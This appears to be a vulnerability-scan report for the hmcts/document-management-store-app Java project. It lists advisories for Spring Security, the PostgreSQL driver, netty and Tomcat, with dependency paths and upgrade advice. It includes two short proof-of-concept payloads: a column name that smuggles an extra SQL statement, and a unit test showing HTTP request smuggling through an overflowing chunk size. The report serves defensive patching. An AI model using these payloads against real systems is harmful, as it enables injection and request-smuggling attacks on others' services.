    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@5.0.0.RELEASE.

Overview

Affected versions of this package are vulnerable to Authentication Bypass when directly using the AuthenticationTrustResolver.isFullyAuthenticated(Authentication) method and passing a null authentication parameter to it.

Note:

An application is not vulnerable if any of the following is true:

  1. the application does not use AuthenticationTrustResolver.isFullyAuthenticated(Authentication) directly

  2. the application does not pass null to AuthenticationTrustResolver.isFullyAuthenticated

  3. the application only uses isFullyAuthenticated via Method Security or HTTP Request Security

Remediation

Upgrade org.springframework.security:spring-security-oauth2-client to version 6.1.7, 6.2.2 or higher.

References

high severity

Authentication Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authentication Bypass when directly using the AuthenticationTrustResolver.isFullyAuthenticated(Authentication) method and passing a null authentication parameter to it.

Note:

An application is not vulnerable if any of the following is true:

  1. the application does not use AuthenticationTrustResolver.isFullyAuthenticated(Authentication) directly

  2. the application does not pass null to AuthenticationTrustResolver.isFullyAuthenticated

  3. the application only uses isFullyAuthenticated via Method Security or HTTP Request Security

Remediation

Upgrade org.springframework.security:spring-security-web to version 6.1.7, 6.2.2 or higher.

References

high severity

Authorization Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass via forward or include dispatcher types.

An application is vulnerable when all of the following are true:

  1. The application expects that Spring Security applies security to forward and include dispatcher types.

  2. The application uses the AuthorizationFilter either manually or via the authorizeHttpRequests() method.

  3. The application configures the FilterChainProxy to apply to forward and/or include requests (e.g. spring.security.filter.dispatcher-types = request, error, async, forward, include).

  4. The application may forward or include the request to a higher privilege-secured endpoint.

  5. The application configures Spring Security to apply to every dispatcher type via authorizeHttpRequests().shouldFilterAllDispatcherTypes(true)

An application is not vulnerable if any of the following is true:

  1. The application does not use authorizeHttpRequests() or the AuthorizationFilter.

  2. The application does not forward/include requests.

  3. The application does not need to configure Spring Security to apply to FORWARD and INCLUDE dispatcher types.

Workaround

Users who are unable to upgrade should use AuthorizeRequests().filterSecurityInterceptorOncePerRequest(false) instead of AuthorizeHttpRequests().shouldFilterAllDispatcherTypes(true).

Users with version < 5.7.0 which does not have shouldFilterAllDispatcherTypes available, should add an ObjectPostProcessor:

authorizeHttpRequests().withObjectPostProcessor(new 
 ObjectPostProcessor<AuthorizationFilter>() {
   @Override 
   public<O extends AuthorizationFilter> O postProcess(O filter) { 
    filter.setObserveOncePerRequest(false); 
    filter.setFilterAsyncDispatch(true); 
    filter.setFilterErrorDispatch(true); 
    return filter;
   }});

Note:

In Spring Security 5, the default behavior is to not apply the filters more than once to a request, therefore users have to explicitly configure Spring Security to do that. In addition, the FilterChainProxy is also not configured to be invoked on forward and include dispatcher types.

Remediation

Upgrade org.springframework.security:spring-security-web to version 5.6.9, 5.7.5 or higher.

References

high severity

Authentication Bypass

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authentication Bypass. The ActiveDirectoryLdapAuthenticator does not check the password length. If the directory allows anonymous binds then it may incorrectly authenticate a user who supplies an empty password.

Remediation

Upgrade org.springframework.security:spring-security-core to version 3.2.2.RELEASE, 3.1.6.RELEASE or higher.

References

high severity

SQL Injection

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@42.2.26.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to SQL Injection via the java.sql.ResultRow.refreshRow() function in jdbc/PgResultSet.java, due to insufficient escaping column names. An attacker with control of the underlying database can name a column with a string containing a semicolon or other statement terminator, then convince a user to run a query against the table with the compromised column, and then have the application run ResultSet.refreshRow(), to execute code.

NOTE:

  • An application that only connects to its own database with a fixed schema with no DDL permissions is not affected by this vulnerability.
  • Additionally, applications that do not invoke ResultSet.refreshRow() are not affected.

PoC:

CREATE TABLE refresh_row_example (
  id     int PRIMARY KEY,
  "1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * " int
);

Remediation

Upgrade org.postgresql:postgresql to version 42.2.26, 42.3.7, 42.4.1 or higher.

References

high severity

Incomplete Cleanup

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework.cloud:spring-cloud-starter-openfeign@4.3.2, org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.cloud:spring-cloud-starter-openfeign@4.3.2 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-http-converter@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-webmvc@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.7 org.springframework:spring-web@6.2.17
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-webmvc@4.1.0-RC1 org.springframework:spring-webmvc@7.0.7 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-http-converter@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-http-converter@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-servlet@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-webmvc@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-webmvc@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.cloud:spring-cloud-starter-openfeign@4.3.2 org.springframework.cloud:spring-cloud-openfeign-core@4.3.2 io.github.openfeign:feign-form-spring@13.6.1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-webmvc@4.1.0-RC1 org.springframework:spring-webmvc@7.0.7 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-webmvc@4.1.0-RC1 org.springframework:spring-webmvc@7.0.7 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-data-rest@4.1.0-RC1 org.springframework.data:spring-data-rest-webmvc@5.1.0-RC1 org.springframework:spring-webmvc@7.0.7 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-http-converter@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-http-converter@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-servlet@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-servlet@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-web-server@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-web-server@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-data-rest@4.1.0-RC1 org.springframework.data:spring-data-rest-webmvc@5.1.0-RC1 org.springframework.data:spring-data-rest-core@5.1.0-RC1 org.springframework.hateoas:spring-hateoas@3.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-web-server@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-web-server@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-web-server@4.1.0-RC1 org.springframework:spring-web@6.2.17
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-web-server@4.1.0-RC1 org.springframework:spring-web@6.2.17

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Incomplete Cleanup via multipart request handling in WebFlux. An attacker can exhaust disk space by sending multipart requests with large parts that trigger creation of temporary files, which under certain conditions are not deleted after the request completes, leading to accumulation of temp files and denial of service.

Remediation

Upgrade org.springframework:spring-web to version 6.2.18, 7.0.7 or higher.

References

high severity

Multiple licenses: GPL-3.0, LGPL-3.0, MPL-1.1

  • Module: com.github.albfernandez:juniversalchardet
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 com.github.albfernandez:juniversalchardet@2.5.0
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 com.github.albfernandez:juniversalchardet@2.5.0
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-code-module@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 com.github.albfernandez:juniversalchardet@2.5.0
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-mail-module@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 com.github.albfernandez:juniversalchardet@2.5.0
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-miscoffice-module@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 com.github.albfernandez:juniversalchardet@2.5.0
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-cad-module@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 com.github.albfernandez:juniversalchardet@2.5.0

Multiple licenses: GPL-3.0, LGPL-3.0, MPL-1.1

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: com.azure:azure-storage-blob@12.34.0

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the getChunkSize function. An attacker can inject unauthorized HTTP requests by crafting a chunk size value that causes integer overflow, allowing additional requests to be smuggled within the body of a chunked HTTP message.

PoC

@Test
public void test() {
    String requestStr = "POST / HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Transfer-Encoding: chunked\r\n\r\n" +
            "100000004\r\n" +
            "test\r\n" +
            "0\r\n" +
            "\r\n" +
            "GET /smuggled HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Content-Length: 0\r\n" +
            "\r\n";

    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

    // Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();

    // Request 2
    request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

Improper Validation of Syntactic Correctness of Input

  • Vulnerable module: org.apache.tomcat.embed:tomcat-embed-core
  • Introduced through: org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 and org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.21 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.21 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Improper Validation of Syntactic Correctness of Input in the processing of HTTP/2 request headers. An attacker can cause unexpected behavior or potentially compromise the application by sending specially crafted HTTP/2 request headers.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.118, 10.1.55, 11.0.22 or higher.

References

medium severity
new

Exposure of Private Personal Information to an Unauthorized Actor

  • Vulnerable module: org.apache.tomcat.embed:tomcat-embed-websocket
  • Introduced through: org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 and org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.21

Overview

Affected versions of this package are vulnerable to Exposure of Private Personal Information to an Unauthorized Actor in WebSocket client during authentication. An attacker can obtain sensitive HTTP authentication headers by initiating a WebSocket handshake with a malicious host.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-websocket to version 8.0.1, 9.0.0.M1, 9.0.118, 10.1.55, 11.0.22 or higher.

References

medium severity

Missing Authorization

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Missing Authorization. When the applications using @AuthorizeReturnObject or the Spring Security produced AuthorizationAdvisorProxyFactory @Bean to wrap objects, they may not have all security advice applied, resulting in annotations like @PreFilter and @PreAuthorize may take no effect on these wrapped objects.

NOTE:

This does not impact any @Beans that use Spring Security's method security advice.

For this to impact an application, all of the following need to be true:

  1. AnnotationAwareAspectJAutoProxyCreator must be the auto proxy creator being used to create proxies; this can either be done declaratively by your application or enabled via @EnableAspectJAutoProxy or enabled by Spring Boot by virtue of using spring-aspects or a starter that uses spring-aspects

  2. The application must have at least one FactoryBean present in the application context.

  3. The application must enable method security with @EnableMethodSecurity

  4. The application must wrap objects using the @AuthorizeReturnObject annotation or the AuthorizationAdvisorProxyFactory @Bean` produced by Spring Security.

  5. The application must be using @PreFilter, @PostFilter, @PreAuthorize, or @PostAuthorize on those wrapped objects

Remediation

Upgrade org.springframework.security:spring-security-config to version 6.3.2 or higher.

References

medium severity

Incorrect Authorization

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

